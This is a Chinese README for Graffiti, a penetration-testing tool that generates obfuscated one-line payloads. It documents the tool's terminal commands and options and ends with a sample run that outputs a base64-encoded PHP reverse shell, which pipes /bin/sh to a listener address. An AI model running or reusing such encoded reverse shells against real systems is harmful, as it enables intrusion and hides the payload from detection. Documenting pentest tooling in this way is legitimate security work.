
Graffiti 是一个用于生成混淆一行命令的工具,以帮助渗透测试场景。Graffiti 支持以下语言进行编码:
Graffiti 还接受当前列表中未包含的语言,并将该一行命令存储到数据库中。
Graffiti 附带一个数据库,将每个编码后的有效载荷插入其中,以便最终用户查看已创建的有效载荷以供将来使用。有效载荷可以使用以下技术进行编码:
Graffiti 的一些功能包括:
Graffiti 带有内置终端,当你不向程序传递任何标志时,它会进入终端。该终端具有历史记录、运行外部命令的功能以及自己的内部命令。要获取帮助,只需输入 help 或 ?:
________ _____ _____.__ __ .__
/ _____/___________ _/ ____\/ ____\__|/ |_|__|
/ \ __\_ __ \__ \\ __\\ __\| \ __\ |
\ \_\ \ | \// __ \| | | | | || | | |
\______ /__| (____ /__| |__| |__||__| |__|
\/ \/
v(0.1)
no arguments have been passed, dropping into terminal type `help/?` to get help, all commands that sit inside of `/bin` are available in the terminal
root@graffiti:~/graffiti# ?
命令 描述
--------- --------------
help/? 显示此帮助
external 列出可用的外部命令
cached 显示数据库中已有的所有有效载荷
list/show 列出所有可用的有效载荷
search <phrase> 搜索特定的有效载荷
use <payload> <coder> 使用此有效载荷并通过指定的编码器进行编码
info <payload> 获取指定有效载荷的信息
check 检查更新
history 显示命令历史
exit/quit 退出终端和正在运行的会话
encode <script-type> <coder> 对提供的有效载荷进行编码
root@graffiti:~/graffiti# help
命令 描述
--------- --------------
help/? 显示此帮助
external 列出可用的外部命令
cached 显示数据库中已有的所有有效载荷
list/show 列出所有可用的有效载荷
search <phrase> 搜索特定的有效载荷
use <payload> <coder> 使用此有效载荷并通过指定的编码器进行编码
info <payload> 获取指定有效载荷的信息
check 检查更新
history 显示命令历史
exit/quit 退出终端和正在运行的会话
encode <script-type> <coder> 对提供的有效载荷进行编码
Graffiti 还带有命令行参数,适用于需要快速编码有效载荷的情况:
usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]
[--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]
[-l]
[-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]]
[-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]
[-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]]
optional arguments:
-h, --help 显示此帮助信息并退出
-c CODEC, --codec CODEC
指定一种编码技术(*默认=无)
-p PAYLOAD, --payload PAYLOAD
传递要使用的有效载荷路径(*默认=无)
--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS
创建一个有效载荷文件并将其存储在 ./etc/payloads 中(*默认=无)
-l, --list 按路径列出所有可用的有效载荷(*默认=假)
-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]
传递您自己的个人有效载荷用于编码(*默认=无)
-lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS
传递要用于有效载荷的监听地址(如果需要)(*默认=无)
-lP LISTENING-PORT, --lport LISTENING-PORT
传递要用于有效载荷的监听端口(如果需要)(*默认=无)
-u URL, --url URL 如果您的有效载荷需要,传递一个 URL(*默认=无)
-vC, --view-cached 查看数据库中已存在的缓存数据
-H, --no-history 不存储命令历史(*默认=真)
-W, --wipe 擦除数据库和历史记录(*默认=假)
--memory 将数据库初始化为内存而非 .db 文件(*默认=假)
-mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...]
传递更多外部命令,这将允许在终端命令中访问它们,命令必须在您的 PATH 中(*默认=无)
编码有效载荷非常简单,如下所示:
root@graffiti:~/graffiti# python graffiti.py -c base64 -p /linux/php/socket_reverse.json -lH 127.0.0.1 -lP 9065
Encoded Payload:
--------------------------------------------------
php -r 'exec(base64_decode("JHNvY2s9ZnNvY2tvcGVuKCIxMjcuMC4wLjEiLDkwNjUpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7"));'
--------------------------------------------------
Graffiti 的演示可在此处找到:
在任何 Linux、Mac 或 Windows 系统上,Graffiti 应能开箱即用,无需安装任何外部包。如果您希望将 Graffiti 作为可执行文件安装到系统上(必须运行 Linux 或 Mac 才能成功安装),只需执行以下操作:
./install.sh
这将把 Graffiti 安装到您的系统中,并允许您从任何位置运行它。
如果您发现错误或问题,请在此处创建带有详细信息的问题此处,并提前感谢!